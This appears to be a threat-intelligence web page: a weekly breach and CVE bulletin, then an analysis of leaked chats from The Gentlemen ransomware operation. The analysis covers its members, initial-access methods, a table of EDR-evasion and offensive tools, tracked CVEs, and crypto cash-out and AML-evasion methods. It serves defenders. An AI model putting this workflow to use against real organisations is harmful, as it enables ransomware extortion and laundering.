Reading view

18th May – Threat Intelligence Report

For the latest discoveries in cyber research for the week of 18th May, please download our Threat Intelligence Bulletin.

TOP ATTACKS AND BREACHES

  • Vodafone, a major international telecom, has sustained a source code leak claimed by the Lapsus$ extortion group. The company confirmed limited access to GitHub files through compromised third-party development software, while stating that customer data and core network infrastructure were not affected by the incident.
  • Cryptocurrency platform THORChain, based in Switzerland, has encountered a security breach that led to the theft of about $10.7M. Trading was halted after one of six vaults was compromised, and the company said losses were limited to protocol-owned assets across several blockchains.
  • West Pharmaceutical Services, a global manufacturer of drug delivery components, has experienced a ransomware attack that disrupted shipping, manufacturing, and shared service functions. The company disclosed that some systems were encrypted and data was stolen, but no ransomware group has publicly claimed responsibility.
  • Foxconn, a global electronics manufacturer, has confirmed it was hit by a cyberattack on its North American operations after the Nitrogen ransomware group claimed to have stolen 8TB of data. The company confirmed disruption at some factories and said affected facilities were resuming normal production.

AI THREATS

  • Researchers unveiled ‘Claw Chain’, four vulnerabilities in OpenClaw, an autonomous AI agent platform, that allow attackers to bypass sandbox controls, expose restricted files, leak secrets, and gain owner-level access. The flaws include the critical CVE-2026-44112, rated CVSS 9.6.
  • Researchers developed an AI-assisted macOS kernel exploit that bypasses Apple’s Memory Integrity Enforcement on M5 chips and grants full system control on macOS 26.4.1. Anthropic’s Mythos Preview reportedly accelerated bug discovery, and the findings were privately reported to Apple before public disclosure.
  • Researchers detailed how threat actors abuse Vercel’s AI website generator, v0.dev, to mass-produce realistic phishing pages mimicking brands such as Microsoft and Spotify. The campaigns utilize Telegram bots to capture credentials and payment details in real time.
  • Researchers found a popular Hugging Face repository hiding Windows-targeting malware after it amassed over 200,000 downloads. The package posed as OpenAI’s privacy filter and installed an infostealer that harvested browser passwords, cookies, SSH keys, VPN configurations, and cryptocurrency wallets before exfiltrating the data.

VULNERABILITIES AND PATCHES

  • Two Windows zero-day vulnerabilities, YellowKey and GreenPlasma, affect Windows 11 and recent Windows Server versions. YellowKey allows BitLocker bypass through Windows Recovery Environment with physical access, while GreenPlasma abuses the CTFMON framework to escalate privileges to SYSTEM. Proof-of-concept code is public, and the vulnerabilities are still unpatched.
  • F5 has fixed CVE-2026-42945, a critical memory flaw in the NGINX rewrite module affecting versions 0.6.27 through 1.30.0. The 18-year-old bug enables denial of service and, under specific configurations, possible remote code execution. Public exploit code requires memory protections to be disabled.

Check Point IPS provides protection against this threat (Nginx Heap Overflow (CVE-2026-42945))

  • Cisco has addressed CVE-2026-20182, a critical authentication bypass in Catalyst SD-WAN controllers that is being actively exploited. The flaw allows remote, unauthenticated attackers to gain full administrative control of affected systems. CISA ordered federal agencies to patch vulnerable devices following Cisco’s fixes.
  • Apple has released security updates for CVE-2026-28819, an out-of-bounds write flaw in the Wi-Fi component affecting iOS, iPadOS, and macOS. Successful exploitation could allow an app to execute code with kernel privileges. The issue was addressed with improved bounds checking.

THREAT INTELLIGENCE REPORTS

  • Check Point Research has analyzed an internal leak from The Gentlemen ransomware operation, exposing chats, infrastructure details, affiliate roles, and ransom negotiations. The report links the zeta88 account to the administrator, maps 8 affiliate TOX IDs, and details the use of Fortinet and Cisco vulnerabilities as well as NTLM relay and OWA/M365 for initial access in attacks.

Check Point Threat Emulation and Harmony Endpoint provide protection against this threat

  • Check Point Research has summarized Q1 2026 ransomware trends, recording 2,122 leak-site victims, which is the second-highest Q1 on record, and renewed consolidation. The top 10 groups were responsible for 71% of victims. Qilin led with 338 victims, The Gentlemen rose to third, and LockBit 5.0 returned with 163 victims.
  • Check Point Research have quantified a World Cup 2026-driven surge in cyber activity, with weekly attacks per organization rising in Mexico, Canada, and the United States in April, across the media, hospitality, transportation and travel sectors. FIFA-themed domains reached 9,741 in April, and by early May, one in 41 were malicious.
  • Researchers attributed a months-long intrusion against an Azerbaijani oil and gas company to the Chinese-linked FamousSparrow group. Attackers exploited an unpatched Microsoft Exchange server to deploy web shells, then alternated between Deed RAT and TernDoor across three waves of persistent activity.

The post 18th May – Threat Intelligence Report appeared first on Check Point Research.

  •  

Thus Spoke…The Gentlemen

Key Points

  • On May 4th, 2026, The Gentlemen RaaS administrator acknowledged on underground forums that an internal backend database (Rocket) had been leaked. This leak exposed 9 accounts, including zeta88 (aka hastalamuerte), who runs the infrastructure, builds the locker and RaaS panel, manages payouts, and effectively acts as the administrator of the program.
  • The internal discussions provide a rare end‑to‑end view of the operation: they detail initial access paths (Fortinet and Cisco edge appliances, NTLM relay, OWA/M365 credential logs), the division of roles, the shared toolsets, and the group’s active tracking and evaluation of modern CVEs such as CVE-2024-55591, CVE-2025-32433, and CVE-2025-33073.
  • Screenshots from ransom negotiations were also leaked, showing a successful case where the group received 190,000 USD, after starting with an initial demand (anchor) of 250,000 USD.
  • Further chats indicate that stolen data from a UK software consultancy was later reused to attack a company in Turkey. The Gentlemen used this during negotiations as a dual‑pressure tactic: they portrayed the UK firm as the “access broker,” while mentioning to provide “proof” to the Turkish company that the intrusion originated from the UK side and encouraging it to consider legal action against the consultancy.
  • By collecting all available ransomware samples, Check Point Research identified 8 distinct affiliate TOX IDs, including the administrator’s TOX ID. This suggests that the admin not only manages the RaaS program but also actively participates in, or directly carries out, some of the infections.


Introduction

The Gentlemen ransomware‑as‑a‑service (RaaS) operation is a relatively new group that emerged around mid‑2025. Its operators advertise the service across multiple underground forums, promoting their ransomware platform and inviting penetration testers and other technically skilled actors to join as affiliates.

In 2026, based on victims listed on the data leak site (DLS), The Gentlemen appears to be one of the most active RaaS programs, with approximately 332 published victims in just the first five months of 2026. This volume places the group as the second most productive RaaS operation in that period, at least among those that publicly list their victims.

During our previous publication, Check Point Research analyzed a specific infection carried out by an affiliate of this RaaS. In that case, the affiliate used SystemBC, and the associated command‑and‑control (C&C) server revealed more than 1,570 victims.

In this publication, we focus on the affiliate program itself and the actors who participate in it. On May 4th, 2026, The Gentlemen administrator acknowledged the leak of an internal database used by the group, which contained operational information about their infrastructure, affiliates, and victims. Check Point Research obtained what appears to be a partial leak of the group’s internal chats and related data, which was briefly posted on an underground forum before being removed. Later on, the leak also appeared on another underground forum.

The leaked material includes detailed conversations between the RaaS operators and their affiliates across several internal channels (such as INFO, general, TOOLS, and PODBOR). In these chats, they coordinate ongoing intrusions, exchange toolsets and EDR‑kill packages, discuss infrastructure and backend components (including the Rocket database and NAS storage), review CVEs and exploit paths (for example Fortinet, Cisco, and NTLM relay issues), and talk about specific victims, campaigns, and payouts. Together, these messages provide a rare inside view of how The Gentlemen plans, executes, and scales its ransomware operations.


The Gentlemen RaaS Admin

The Gentlemen RaaS administrator has been very active and vocal on various underground forums, trying to attract affiliates with an aggressive profit-sharing model: 90% for affiliates and 10% for the operator.

In September 2025, in one of the first posts promoting the RaaS program, the account Zeta88 published a message advertising the service and inviting individual penetration testers to join as affiliates.

Figure 1 — Zeta88 advertising The Gentlemen’s RaaS.

Later on, the official posts for this ransomware program started to be published by another account, The Gentlemen. The administrator also shared their TOX ID across several forums.

Figure 2 — RaaS admin in underground forum.

The same TOX ID can be seen on the onion data leak site (DLS), where it is used by affiliates or compromised victims to contact the administrator.

Figure 3 — Onion page TOX ID.

In a post on an underground forum, where the administrator demonstrated how affiliates can build the ransomware, we can see the administrator’s profile page, where their TOX ID is again visible in the corresponding field.

Figure 4 — Image uploaded by RaaS admin.

In the second shared image, we again observe the same TOX ID and see how the target or victim entry is supposed to look from an affiliate’s perspective.

Figure 5 — Image uploaded by RaaS admin.

Considering that the initial post was made by Zeta88, it is likely that this account belongs to the administrator and that their TOX ID is F8E24C7F5B12CD69C44C73F438F65E9BF560ADF35EBBDF92CF9A9B84079F8F04060FF98D098E. This assessment is based on the fact that the same TOX ID appears consistently across different contexts: in the early recruitment posts, in the onion data leak site (DLS), and in the screenshots showing the administrator’s profile and communication fields. Taken together, these overlaps strongly suggest that Zeta88, the later The Gentlemen account, and this TOX ID are all controlled by the same RaaS administrator.


RaaS Affiliates

Check Point Research collected most of the available artifacts related to The Gentlemen RaaS from online sources. Based on the current 412 public victims listed on the data leak site (DLS), and considering that there are likely additional victims who paid and therefore were not published, we identified 29 unique campaigns in public sources such as VirusTotal.

For each of these 29 campaigns, we extracted the TOX ID associated with the corresponding affiliate. Our analysis shows that these campaigns were conducted by 8 unique TOX IDs.

15CE8D5DB0BAC3BCBB1FA69F2E672CC54EFBEC7684DA792F3CBF8B007A9FEA1D16374560DFA5
2F1A9C8B8AA163BBB84FF799A0954B232C279C5E9EE42505955288EAAD28685A2BC0713C7745
88984846080D639C9A4EC394E53BA616D550B2B3AD691942EA2CCD33AA5B9340FD1A8FF40E9A
98C132E2B20B531BE6604397D97040C1E9EB42FCE12EDF119BCE8B4031CA5C70DAF5E65FA3C3
D2CBA43A1AF6D965432AE11487726DB84D2945CF2CD975D7774B76B54AF052418AC2E59ADA69
D527959A7BC728CB272A0DB683B547F079C98012201A48DD2792B84604E8BC29F6E6BDB8003F
F8E24C7F5B12CD69C44C73F438F65E9BF560ADF35EBBDF92CF9A9B84079F8F04060FF98D098E
F96C481CBB0D6E7BDA49C6D68CFDB1D284354961534EDEEDA854C672B48A8D6B7146F90BDACB

There are almost certainly more affiliates involved in this group, however, based on our current locker visibility, we can confidently confirm 29 discovered campaigns and ransomware samples.

CmpID: 03860d116701cdc9d9bf9c45099bb3d3 TOX: D2CBA43A1AF6D965432AE11487726DB84D2945CF2CD975D7774B76B54AF052418AC2E59ADA69
CmpID: 11e7baca7e652995b2364fdab0d362b7 TOX: 98C132E2B20B531BE6604397D97040C1E9EB42FCE12EDF119BCE8B4031CA5C70DAF5E65FA3C3
CmpID: 2cd4eb358c45ca783a20ec854a5a860c TOX: 98C132E2B20B531BE6604397D97040C1E9EB42FCE12EDF119BCE8B4031CA5C70DAF5E65FA3C3
CmpID: 2e5d1a352885a6efd84dbc0387cbc79e TOX: D527959A7BC728CB272A0DB683B547F079C98012201A48DD2792B84604E8BC29F6E6BDB8003F
CmpID: 3b7b4f2d33bdfb8a31b480d0eb2815cd TOX: F8E24C7F5B12CD69C44C73F438F65E9BF560ADF35EBBDF92CF9A9B84079F8F04060FF98D098E
CmpID: 4a94d2b730a5a63e6cd54a9b0bb4ea71 TOX: F8E24C7F5B12CD69C44C73F438F65E9BF560ADF35EBBDF92CF9A9B84079F8F04060FF98D098E
CmpID: 4e0c37cbf4dde9683943c8a738e5b00a TOX: D527959A7BC728CB272A0DB683B547F079C98012201A48DD2792B84604E8BC29F6E6BDB8003F
CmpID: 51dec3e170f8a181cc9aea8dcc90c7ab TOX: D2CBA43A1AF6D965432AE11487726DB84D2945CF2CD975D7774B76B54AF052418AC2E59ADA69
CmpID: 583fe1c1a39f6b873a5c0997bea1f657 TOX: 15CE8D5DB0BAC3BCBB1FA69F2E672CC54EFBEC7684DA792F3CBF8B007A9FEA1D16374560DFA5
CmpID: 697f182826495662427ca49edbb345fc TOX: 98C132E2B20B531BE6604397D97040C1E9EB42FCE12EDF119BCE8B4031CA5C70DAF5E65FA3C3
CmpID: 71d503709af88821c183a1d0b7ae06ec TOX: 98C132E2B20B531BE6604397D97040C1E9EB42FCE12EDF119BCE8B4031CA5C70DAF5E65FA3C3
CmpID: 721606b3659f2c2d80a196ed3cd60053 TOX: F96C481CBB0D6E7BDA49C6D68CFDB1D284354961534EDEEDA854C672B48A8D6B7146F90BDACB
CmpID: 735069890a414869f0113de820ba9afb TOX: 98C132E2B20B531BE6604397D97040C1E9EB42FCE12EDF119BCE8B4031CA5C70DAF5E65FA3C3
CmpID: 74ea100b581ec32ea6c2ac2a0030a9f6 TOX: D2CBA43A1AF6D965432AE11487726DB84D2945CF2CD975D7774B76B54AF052418AC2E59ADA69
CmpID: 776e86c13433747299a4e5f9f22e3415 TOX: 2F1A9C8B8AA163BBB84FF799A0954B232C279C5E9EE42505955288EAAD28685A2BC0713C7745
CmpID: 7aae8fd9187c88dd0292cce1abd050e2 TOX: F8E24C7F5B12CD69C44C73F438F65E9BF560ADF35EBBDF92CF9A9B84079F8F04060FF98D098E
CmpID: 82160a7da5fc4c935e6f48d38a5aaaa6 TOX: 98C132E2B20B531BE6604397D97040C1E9EB42FCE12EDF119BCE8B4031CA5C70DAF5E65FA3C3
CmpID: 893f735e9a8cc9814dc6eccd5579561c TOX: D2CBA43A1AF6D965432AE11487726DB84D2945CF2CD975D7774B76B54AF052418AC2E59ADA69
CmpID: 8fceea4fd9ce32dd620ccd580297c7c5 TOX: 98C132E2B20B531BE6604397D97040C1E9EB42FCE12EDF119BCE8B4031CA5C70DAF5E65FA3C3
CmpID: 92d8bd2a6ee7f6d5c84e037066ce0539 TOX: 2F1A9C8B8AA163BBB84FF799A0954B232C279C5E9EE42505955288EAAD28685A2BC0713C7745
CmpID: a023a6b15419600dc3f6b93e11761dfe TOX: 98C132E2B20B531BE6604397D97040C1E9EB42FCE12EDF119BCE8B4031CA5C70DAF5E65FA3C3
CmpID: a73526d89e5fb7b57f50d8da340e53e9 TOX: D2CBA43A1AF6D965432AE11487726DB84D2945CF2CD975D7774B76B54AF052418AC2E59ADA69
CmpID: abd11823ddcc3d746ad8621e677a93eb TOX: 98C132E2B20B531BE6604397D97040C1E9EB42FCE12EDF119BCE8B4031CA5C70DAF5E65FA3C3
CmpID: b5b42ac289581b3387ebf120129a19a6 TOX: 98C132E2B20B531BE6604397D97040C1E9EB42FCE12EDF119BCE8B4031CA5C70DAF5E65FA3C3
CmpID: b68e019efb39b85f5a0326e22fd4498a TOX: F8E24C7F5B12CD69C44C73F438F65E9BF560ADF35EBBDF92CF9A9B84079F8F04060FF98D098E
CmpID: bc6b87c79bc71a78da623d031ec1a958 TOX: D2CBA43A1AF6D965432AE11487726DB84D2945CF2CD975D7774B76B54AF052418AC2E59ADA69
CmpID: d75246d230f22b1da6bbf5fceeed2ef2 TOX: D2CBA43A1AF6D965432AE11487726DB84D2945CF2CD975D7774B76B54AF052418AC2E59ADA69
CmpID: da9cff1b478b64d47b68d50330e96c60 TOX: D527959A7BC728CB272A0DB683B547F079C98012201A48DD2792B84604E8BC29F6E6BDB8003F
CmpID: ead0d7a8ae0a6ffb7f0a5873fec4ff5e TOX: 88984846080D639C9A4EC394E53BA616D550B2B3AD691942EA2CCD33AA5B9340FD1A8FF40E9A

Based on this small collection of samples, most of the campaigns appear to have been conducted by the affiliate using the TOX ID 98C132E2B20B531BE6604397D97040C1E9EB42FCE12EDF119BCE8B4031CA5C70DAF5E65FA3C3. It is also noteworthy that the RaaS administrator’s TOX ID has been observed in four unique infections. This suggests that the administrator not only manages the RaaS program but also actively participates in, or directly carries out, some of the infections.


RaaS Leak

On May 4th, 2026, on an underground forum, the RaaS administrator published a post acknowledging the claims of an internal leak involving their so‑called Rocket database, an internal backend system used to store operational data, and addressed his affiliates directly about the incident.

Figure 6 — The Gentlemen RaaS post.

The message continues in a dismissive tone toward the leak seller and then shifts focus back to “more interesting” topics. These include a full overhaul of the communication structure, the deployment of a new NAS with unlimited storage, and several technical upgrades to the locker, such as removing hardware breakpoints, performing NTDLL unhooking, and patching ETW to suppress Event Tracing for Windows.


Demanding ransom from a RaaS

On May 5th, 2026, the account n7778 with TOX ID 7862AE03A73AAC2994A61DF1F635347F2D1731A77CACC155594C6B681D201F7AD6817AD3AB0A advertised the sale of The Gentlemen’s hacked data on underground forums for 10,000 USD, payable in Bitcoin.

Figure 7 — Account selling The Gentlemen RaaS Data.

In the following days, the same account posted two MediaFire links containing proof files supporting the claimed leak.

Figure 8 — Partial leaks.

The first leaked data is a text file that contains the contents of the shadow file from The Gentlemen’s server, including user account entries and their password hashes. The file lists many usernames, among them zeta88, 3NT3R, B1d3n, C0CA, d0wnloAd1, equal1z3r, F3N1X, Gblog88, JLL, LDW, n0n3, PRTGRS, W1Z. Notably, we again see the zeta88 account, the same handle that was used in the initial underground post advertising the RaaS program, further linking this server to the RaaS administrator.

Figure 9 — shadow file content.

The second leaked data set contains partial conversations between the RaaS operators and their affiliates across several internal channels (such as INFO, general, TOOLS, and PODBOR). In these chats, they coordinate ongoing intrusions, exchange toolsets and EDR‑kill packages, discuss infrastructure and backend components, review CVEs and exploit paths, and talk about specific victims, campaigns, and payouts.

While the partial leaked data that we obtained is around 44.4 MB, a screenshot shared by the same account on another underground forum shows a total size of approximately 16.22 GB, which likely corresponds to the full leaked data set.

Figure 10 — Full leaked data screenshot.


Roles & Structure

The group appears to have a clear division of roles and responsibilities. At the core, the main operator and developer, zeta88 (most likely hastalamuerte), runs the infrastructure and builds and maintains the custom ransomware locker, the RaaS panel and builder (Linux with containers and a TOR front), as well as the GPO‑based spread mechanism and the locker’s “spread” module. This operator also curates toolsets in the TOOLS channel, including EDR kill kits and kiljalki collections, selects targets, and assigns them to specific teams, often talking about “targets”, “подбор” (selection) channels, and distributing corporate victims to groups of 2–3 people. In addition, they manage payouts and negotiations, including multi‑million ransom discussions (“переговоры на 10кк”).

Figure 11 — Image shared in the chats, zeta88 – Admin.

Considering our previous assessment that the RaaS administrator also runs campaigns himself (based on TOX IDs), the leaked chats reinforce this view: they show him personally deploying the locker and encrypting at least one victim’s environment.

Figure 12 — zeta88 locking message.

Often, messages sent by zeta88 appear to be copied or adapted from earlier messages made by hastalamuerte, and affiliates frequently mention hastalamuerte by name. Taken together with previous findings and earlier RaaS posts linked to zeta88, these patterns strongly suggest that hastalamuerte and zeta88 are very likely the same person.

Figure 13 — zeta88 – hastalamuerte message.

Below this core role, key operators or affiliates such as qbit and quant handle more hands‑on operational work. qbit is a practical operator on many cases, responsible for scanning and filtering Fortinet VPNs and other edge devices, performing reconnaissance and persistence (including “крепиться клаудом” (English: “to establish persistence via the cloud”) through Cloudflare tunnels or Zero Trust solutions), and using tools such as NetExec (NXC), RelayKing, PrivHound, and NTLM relay scanning. qbit frequently requests clear EDR killer sets, manuals, and guidance for locking ESXi environments, and also brings in new bot or access suppliers (“поставщик ботов”) (English: “supplier of bots”). quant focuses on log‑based access (“логи ЛБ”, i.e. spilled credentials for OWA/O365 and similar services) and maintains a custom log parser and proprietary credential/data collector, referred to as buildx641, which is run from a domain‑joined machine, uses vssadmin, shadow copies, ntds.dit, and SYSTEM copies, and collects and compresses data from multiple hosts. quant is oriented toward OW/OVA spam and higher‑value (“тир1”) (English: “tier‑1”) victims and has set up a powerful “brute server” (Threadripper PRO, 128 GB RAM, RTX 5090) for large‑scale brute forcing.

Around these core and key operators, there are several other accounts, including Wick, mAst3r, Protagor, Bl0ck, JeLLy, Kunder, and Mamba who take on various roles such as red‑teamers, advertising partners, access brokers, or case‑specific collaborators; for example, Protagor is mentioned in connection with OV (online vault/OWA‑type) spam, while Mamba acts as an access broker for Fortinet VPNs sourced from ramp.

Through this specific leak, we identified 9 unique accounts actively communicating with each other: Kunder, qbit, JeLLy, Protagor, zeta88, Bl0ck, Wick, quant, and mAst3r. This internal interaction pattern supports the view that these accounts form a coordinated operational network within The Gentlemen RaaS ecosystem. This number aligns with our earlier assessment based on the unique TOX IDs extracted from the ransomware lockers.

Group members collaborate on various infections and share the profits as well. As a result, the 90% share allocated to the affiliate is often split among multiple affiliates who worked together to achieve a successful intrusion.

Figure 14 — Collaboration and profit sharing.

Based on the analyzed chat messages, the organization’s structure appears to match the model shown in the following image. It is likely that additional members exist who do not appear in this specific leak, but the roles and relationships we observe here are consistent across the available data. There are also indications of an internal separation between trusted members and newcomers—for example, one message notes that “that Rocket is still alive – there are rookies there”—suggesting a tiered or layered structure within the group.

Figure 15 — Organization diagram.


Operational workflow

The conversations from the leak show a fairly standard but well‑organized operational workflow. The group claims to usually gain initial access through exposed edge devices such as VPN appliances, firewalls, and other internet-facing systems, with a particular focus on platforms like Fortinet FortiGate and Cisco. They combine different methods to achieve this, including credential brute‑forcing against web or VPN panels, exploiting known vulnerabilities, and buying access from third‑party “bot” or access brokers. Screenshots shared in the chats also show them searching for accounts and credentials in data‑breach search engines. Once they obtain a foothold, they treat these systems as pivots to move deeper into the internal network.

Figure 16 — Searching credentials & accounts.

After gaining access, the operators perform internal reconnaissance and privilege escalation to understand the environment and obtain higher-level permissions, often aiming for domain administrator access. They rely on a mixture of Active Directory discovery, certificate abuse, and various local privilege escalation techniques. At the same time, they invest significant effort into disabling or bypassing security tools such as EDR and antivirus solutions, using a combination of misconfigurations, registry abuse, logging mechanisms, and bring-your-own-vulnerable-driver–style (BYOD) techniques to tamper with or overwrite security binaries.

With elevated access and reduced defensive visibility, the group focuses on expanding across the network and preparing for the final stages of the attack. This includes lateral movement, establishing additional tunnels or proxies for reliable connectivity, and relaxing security settings to make further operations easier. They also harvest credentials and browser-based sessions to reuse existing access to corporate services. Data exfiltration is then carried out using automated tools and tuned configurations to move large volumes of data efficiently, often targeting NAS devices, backup systems, and virtualization infrastructure. Finally, once the environment is prepared and critical data is in their control, they deploy their custom ransomware “locker,” which is designed to spread quickly across the network, leverage existing administrator sessions, and encrypt systems in a coordinated manner.


Tools & Infra

The leaked conversations show that The Gentlemen RaaS operators use a repeatable and fairly mature toolset to support their operations. For remote access and C2, they rely on frameworks like ZeroPulse and Velociraptor, combined with Cloudflare-based tunnels and custom VPN setups to keep stable access into compromised networks. For offensive operations, they use a range of red‑team utilities such as NetExec, RelayKing, TaskHound, PrivHound, CertiHound, and others to perform Active Directory discovery, certificate abuse, privilege escalation, and file share discovery. A separate group of tools is dedicated to EDR and AV evasion, including EDRStartupHinder, gfreeze, glinker, and DumpBrowserSecrets, as well as techniques inspired by public research on abusing Windows logging and Event Tracing for Windows (ETW). Finally, they support these activities with infrastructure and helper tools like port scanners (gogo.exe), usage guides, OSINT extensions, and password‑cracking services, which together give them a reusable framework for running repeated intrusions and ransomware deployments.

CategoryTool / ResourcePurpose / UsageReference / Notes
C2 / Remote AccessZeroPulseRemote access / C2 framework for controlling compromised hosts.https://github.com/jxroot/ZeroPulse
C2 / Remote AccessVelociraptorUsed as a covert C2 platform, including memory and LSASS dumping.Often used with signed builds to reduce detection.
C2 / Remote AccessCloudflare Zero Trust / TunnelsProvides stealthy tunnels into victim networks over HTTPS.Used together with custom VPN setups.
VPN / Network Accesswireguard-installAutomates WireGuard VPN deployment.https://github.com/angristan/wireguard-install
VPN / Network Accessopenvpn-installAutomates OpenVPN server setup.https://github.com/angristan/openvpn-install
VPN / Network AccessDouble-VPN-with-OpenVPNConfigures double‑layer OpenVPN routing.https://github.com/pizdatiigus/Double-VPN-with-OpenVPN
Offensive / Red‑TeamNetExec (NXC)Multi‑purpose offensive framework for AD, SMB, WinRM, and more.Internal usage guide via a shared NXC gist.
Offensive / Red‑TeamTaskHoundTask and privilege abuse / persistence helper.Used post‑exploitation.
Offensive / Red‑TeamPrivHoundIdentifies local privilege escalation paths and persistence opportunities.Integrates with BloodHound data.
Offensive / Red‑TeamRelayKing-DepthFinds and exploits NTLM relay paths across protocols.https://github.com/depthsecurity/RelayKing-Depth
Offensive / Red‑TeamCertiHoundEnumerates and detects ADCS misconfigurations (ESC1–ESC17).Used via NetExec integration.
Offensive / Red‑TeamTitanisOffensive tooling for Windows logging / ETW manipulation.https://github.com/trustedsec/Titanis
Offensive / Red‑TeamMANSPIDERSearches file shares for sensitive strings and documents.Used for locating valuable data.
Offensive / Red‑TeamPowerZureAbuses Azure / cloud misconfigurations.Used for cloud‑side access and escalation.
Offensive / Red‑TeamRegPwnRegistry‑based privilege escalation and service abuse.Often used for MSI service abuse.
Offensive / Red‑TeamKslDumpDumps Kerberos / LSASS‑related material.Used for credential theft.
Offensive / Red‑TeamKslKatzKerberos / LSASS post‑exploitation tool similar to credential dumpers.Complements KslDump.
EDR / AV EvasionEDRStartupHinderBlocks or delays EDR processes at startup.Based on the EDR-Startup-Process-Blocker concept.
EDR / AV EvasiongfreezePart of their EDR “killer” toolkit to hinder security products.Derived from EDR‑blocking research/code.
EDR / AV EvasionglinkerAnother component in their EDR evasion sets.Often grouped with gfreeze.
EDR / AV EvasionDumpBrowserSecretsDumps browser cookies and secrets for session hijacking.Used to reuse corporate web sessions.
EDR / AV Evasionzerosalarium ETW/log tricksPublic research they follow for ETW and log‑based EDR kill techniques.Multiple posts referenced for inspiration.
Infra / Scanninggogo.exeScanner for common ports and exposed services.Used in early discovery phases.
Infra / ScanningNXC usage gistInternal guide for effective NetExec usage.https://gist.github.com/gitgotgitgotit/81a578e065da1ccd8c81a8e90c309275
OSINT / Helper ToolsSputnik browser extensionOSINT aggregation extension to support recon.Helps enrich target information.
OSINT / Helper Toolschamd5.orgOnline password hash cracking service.Used for recovering cleartext passwords.
OSINT / Helper Toolshashcracking_botBot‑based password cracking service.Complements other cracking methods.

The leaked chats show that the group pays close attention to other ransomware operations, including the leaked Black Basta negotiations. In particular, they discuss Black Basta’s approach to code signing and note how that group allegedly used VirusTotal to search for legitimate code‑signing certificates, which were then targeted for brute‑force attacks on their private keys. The Gentlemen actors refer to this technique as a model they can reuse or adapt, highlighting their interest in abusing trusted certificates to make their binaries look legitimate and harder to detect.

Figure 17 — Code signing conversations.


AI mentions

The Gentlemen mention AI usage in multiple channels and for various purposes. While it is clear that they have already used AI for code‑assisted development, including experiments with Chinese models, more advanced use cases—such as locally deploying models to analyze large volumes of exfiltrated victim data—are only discussed at a conceptual level. These ideas are suggested in the chats but do not appear to be fully implemented.

zeta88 states that he built the GLOCKER admin panel in three days using AI‑assisted coding. He is candid about the limitations of this approach, noting that while AI can speed up development, you still need to understand what you are doing and be able to guide and correct the code it produces.

Figure 18 — zeta88 “vibe-coded” the Panel.

Members share their AI preferences across different chats. zeta88 states that he finds DeepSeek, Qwen, Kimi, and Emi the most effective models for his purposes, particularly for coding assistance and technical queries.

Figure 19 — AI preferences.

He also suggests adding more Chinese LLMs to their toolkit, in addition to those they are already considering or using, such as DeepSeek and Qwen.

Figure 20 — Chinese LLMs suggestions.

A couple of months later, qbit shares in the INFO channel their recommendation for “the most radical neural network, which creates any content without censorship. Runs on Qwen 3.5 with all barriers removed… Zero refusals. Absolutely no restrictions.”

Figure 21 — Qwen 3.5 post.

zeta88 directs affiliates to use AI as a quick reference—for example, to look up FortiGate internals—rather than asking in the channel.

Figure 22 — Usage of AI as quick reference.

For more challenging tasks such as operational data analysis, identifying high‑value access points, and offloading much of the manual data‑triage work to an AI model, the operators explicitly discuss using an uncensored, self‑hosted LLM. However these suggestions appear to remain theoretical, as Protagor admits, “I have no idea how to do that, but I think it’s possible.

Figure 23 — Local, self-hosted LLM.

Screenshot shared in the chats shows an LLM response on how to send an email to all users via the Jira admin interface, in Russian. It describes two methods, mainly using Jira Automation and user groups.

Figure 24 — Screenshot shared in the chats.

The group appears to be experimenting with well‑known Chinese LLMs and has considered using locally hosted models to assist with data triage on stolen information.


CVEs and Exploits

While the group discusses these vulnerabilities, shares related links, and occasionally attempts to exploit specific systems using particular CVEs, we cannot confirm whether the targeted machines were actually vulnerable to the exact vulnerabilities they referenced.

  • CVE-2024-55591 – FortiOS management interface

This vulnerability affects the FortiOS management interface and fits directly into their broader focus on Fortinet appliances as high‑value initial access points. While the chats do not show detailed exploitation steps, the presence of this CVE alongside their FortiGate targeting suggests it is part of the set of vulnerabilities they track for potential use against exposed management interfaces.

Figure 25 — CVE-2024-55591, related message.
  • CVE-2025-32433 – Erlang SSH vulnerability (Cisco context)

In the logs, qbit shares a proof-of-concept (PoC) for CVE-2025-32433, and zeta88 comments on its quality and applicability. This shows that the group is not simply aware of the CVE but is actively evaluating whether it can be used in real operations, specifically in environments where Cisco or Erlang-based SSH services are exposed. Even if they are cautious about PoC reliability, the discussion confirms that this vulnerability is part of their potential exploit toolkit.

Figure 26 — qbit & zeta88 related posts.
  • CVE-2025-33073 – NTLM reflection / NTLM relay

qbit references RelayKing and shares output showing domains being scanned for NTLM relay issues, including checks that explicitly cover CVE-2025-33073. This is strong evidence that they are not just reading about the vulnerability but have integrated RelayKing into their standard reconnaissance process to generate target lists for tools like ntlmrelayx. In other words, CVE-2025-33073 is a vulnerability they actively scan for and intend to exploit as part of broader NTLM relay workflows.

Figure 27 — Mention of CVE-2025-33073.
  • Other Exploit Paths (Without Explicit CVE IDs)

The operators also make heavy use of technique-based exploits where no specific CVE number is mentioned in the chats. These include:

  • MSI service abuse via RegPwn, used for privilege escalation.
  • Veeam to domain admin paths, based on public write‑ups about misconfigured backup infrastructure.
  • iDRAC to domain admin paths, leveraging Dell iDRAC weaknesses.
  • WPR, AutoLogger, and ETW manipulation techniques documented by zerosalarium and others to overwrite or disable security binaries.


Payments & Negotiations

Zeta88 acts as the organizer/administrator, distributing cryptocurrency payouts to team members (including those who are “AFK”) and advising on how to cash out proceeds via Bitcoin wallets (Guarda, Trust Wallet, Exodus). The group discusses AML (Anti-Money Laundering) evasion strategies. Zeta88 sends a BTC transaction to Kunder as a payout, which Kunder confirms receiving.

Figure 28 — Transaction link shared.

The specific mentions of how they handle Bitcoin laundering/cash out:

  1. Exchange Chains (“связки обмена”) Zeta88 mentions running ~800 transactions through “buy desks” (скупов) via exchange chains, or sometimes sending directly, suggesting chain-hopping to obscure transaction origins.
  2. AML Checking They discuss whether their BTC is “clean” and reference a buyer who actively checks AML scores before transacting. They’re uncertain how the scoring works but are aware their coins could be traced.
  3. Tinkoff QR Code Cash-Out A specific method mentioned: a buyer converts BTC to cash via Tinkoff bank QR codes, with minimums of 400k rubles (previously 250k). This converts crypto directly to Russian banking infrastructure.
  4. Physical Cash Delivery Kunder mentions “locking in the rate” and a guy physically bringing cash at the end of the month, a classic peer-to-peer OTC (over-the-counter) arrangement that bypasses exchanges entirely.
  5. Wallet Infrastructure They recommend non-custodial wallets (Guarda, Trust Wallet, Exodus) specifically to avoid KYC/AML controls that centralized exchanges enforce.

Blurry screenshots from the leak also shed light on the financial side of the operation. Although not fully legible, they appear to show a negotiation where the group secured approximately 190,000 USD after a discount of about 60,000 USD from the initial ransom demand.

